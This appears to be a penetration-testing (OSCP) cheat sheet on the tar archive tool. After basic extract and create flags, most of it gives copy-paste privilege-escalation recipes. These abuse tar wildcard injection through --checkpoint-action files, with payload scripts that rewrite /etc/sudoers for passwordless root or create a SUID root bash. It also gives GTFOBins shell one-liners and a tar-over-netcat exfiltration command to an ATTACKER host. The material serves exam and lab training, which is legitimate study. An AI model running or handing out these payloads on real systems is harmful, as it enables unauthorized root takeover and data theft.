tar — Archive Tool
Ctrl+F:
tar xvf·tar czf·tar tzf·-x·-c·-v·-f·--checkpoint
tar bundles files into a single archive (.tar, .tar.gz, .tgz, .tar.bz2). On OSCP: extract looted backups, create archives for exfil, and abuse wildcard + checkpoint for privesc.
→ Archives - unzip 7z zip · Install Download and Run
Flag anatomy — tar xvf file
Most common extract command:
tar xvf file.tar| Letter | Long option | Meaning |
|---|---|---|
x | --extract | Extract files from archive |
v | --verbose | Verbose — list files as they extract |
f | --file= | File — archive name follows (required last in short form) |
Order matters: options first, f immediately before filename.
tar -xvf backup.tar
tar -xvf backup.tar -C /tmp/ # extract into /tmp/
tar xf backup.tar # quiet extract (no -v)📌 Extract (read archives)
| Archive | List contents | Extract |
|---|---|---|
.tar | tar -tvf file.tar | tar -xvf file.tar |
.tar.gz / .tgz | tar -tzf file.tar.gz | tar -xzvf file.tar.gz |
.tar.bz2 | tar -tjvf file.tar.bz2 | tar -xjvf file.tar.bz2 |
tar xvf file.tar
tar -xzvf file.tar.gz
tar -xjvf file.tar.bz2
tar -xzvf tool.tar.gz -C /opt/ # extract into /opt/| Extra flag | Meaning |
|---|---|
z | gzip (.tar.gz) |
j | bzip2 (.tar.bz2) |
t | List only (don’t extract) |
-C dir | Change to dir before extract/create |
📌 Create (write archives)
tar -cvf archive.tar file1 file2 dir/
tar -czvf backup.tar.gz ./folder/ # gzip compress
tar -czvf flask.tar.gz * # wildcard — privesc context below
tar -cjvf backup.tar.bz2 ./folder/ # bzip2| Letter | Meaning |
|---|---|
c | Create new archive |
z | gzip while creating |
j | bzip2 while creating |
📌 Common flags reference
| Flag | Long | Description |
|---|---|---|
-c | --create | Create archive |
-x | --extract | Extract archive |
-t | --list | List contents |
-f FILE | --file=FILE | Archive filename |
-v | --verbose | Verbose output |
-z | --gzip | Filter through gzip |
-j | --bzip2 | Filter through bzip2 |
-C DIR | --directory=DIR | Change to DIR first |
--exclude=PATTERN | Skip matching paths | |
-p | --preserve-permissions | Keep permissions |
--checkpoint=N | Action every N records (privesc) | |
--checkpoint-action=exec=CMD | Run CMD at checkpoint |
📌 Privesc — checkpoint & wildcard abuse
Why: Shell expands * before tar runs. Files you create whose names look like flags (--checkpoint=1, etc.) become tar arguments — not files to archive. If root (cron or sudo tar … *) runs tar in your writable dir → your checkpoint-action runs as root.
→ Linux > Wildcard injection in cron (tar *) · sudo · Restricted Shell Escape
Worked example — james / blaze (sudo tar … * in /tmp)
Trigger: User can run (or cron runs):
sudo /usr/bin/tar -czvf /tmp/backup.tar.gz *You: writable CWD (e.g. /tmp) when that command runs.
1. Payload — overwrites /etc/sudoers with passwordless root for your user:
cd /tmp
cat > payload.sh << 'EOF'
#!/bin/sh
echo 'james ALL=(root) NOPASSWD: ALL' > /etc/sudoers
EOF
chmod +x payload.sh2. Wildcard trap files — names become tar flags when * expands:
echo "" > '--checkpoint=1'
echo "" > '--checkpoint-action=exec=sh payload.sh'| Filename | tar reads it as |
|---|---|
--checkpoint=1 | Checkpoint every 1 file |
--checkpoint-action=exec=sh payload.sh | Run payload.sh at checkpoint |
3. Trigger — run sudo tar (or wait for cron):
sudo /usr/bin/tar -czvf /tmp/backup.tar.gz *4. Verify root:
sudo -l
sudo suWhat happened: Expanded command is effectively:
sudo /usr/bin/tar -czvf /tmp/backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh payload.sh payload.sh ...tar runs as root → executes payload.sh → you own sudoers.
Append instead of overwrite (safer on some boxes — keeps existing sudoers lines):
echo 'james ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoersWildcard injection (cron — copy/paste)
cd /writable/dir
cat > payload.sh << 'EOF'
#!/bin/sh
echo 'YOURUSER ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers
EOF
chmod +x payload.sh
echo "" > '--checkpoint=1'
echo "" > '--checkpoint-action=exec=sh payload.sh'
# Wait for root cron, e.g. tar -czf backup.tar.gz *
# Or if you have sudo tar:
sudo /usr/bin/tar -czvf /tmp/backup.tar.gz *Alternative — touch instead of echo "" >:
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh payload.sh"SUID bash payload instead of sudoers:
cat > payload.sh << 'EOF'
#!/bin/sh
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
EOF
chmod +x payload.sh
echo "" > '--checkpoint=1'
echo "" > '--checkpoint-action=exec=sh payload.sh'
# After trigger: /tmp/rootbash -pDirect checkpoint exec (GTFOBins — no wildcard needed)
tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash
tar --checkpoint=1 --checkpoint-action=exec=/usr/bin/id -cf archive.tar *Demo
mkdir /tmp/tartest && cd /tmp/tartest
echo hi > a
tar --checkpoint=1 --checkpoint-action=exec=/usr/bin/id -cf out.tar *📌 Pass-through — do NOT extract
Some tools consume the .tar.gz file directly:
| Use case | Command | Do NOT |
|---|---|---|
| LXC image import | lxc image import file.tar.gz | tar -xzf first |
| LXC privesc (EDB-46978) | ./exx -f file.tar.gz | extract manually |
→ lxc - LXD Privilege Escalation - EDB 46978
📌 Transfer / exfil with tar
# Directory over netcat (with [[Netcat]])
tar czf - /path/to/dir | nc ATTACKER 4444
# Receiver:
nc -lvnp 4444 | tar xzf -
# Single stream extract on Kali
nc -lvnp 4444 | tar xzf -📌 Quick cheat sheet
# Extract
tar xvf file.tar
tar -xzvf file.tar.gz
tar -tzf file.tar.gz # list only
# Create
tar -czvf backup.tar.gz ./dir/
# Privesc — blaze / james (sudo tar * in /tmp)
cd /tmp
cat > payload.sh << 'EOF'
#!/bin/sh
echo 'james ALL=(root) NOPASSWD: ALL' > /etc/sudoers
EOF
chmod +x payload.sh
echo "" > '--checkpoint=1'
echo "" > '--checkpoint-action=exec=sh payload.sh'
sudo /usr/bin/tar -czvf /tmp/backup.tar.gz *
sudo su
# Privesc — generic cron / writable dir
cd /writable/dir
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh payload.sh"
# echo 'user ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers # inside payload.sh
# GTFOBins
tar --checkpoint=1 --checkpoint-action=exec=/bin/bash -cf /dev/null x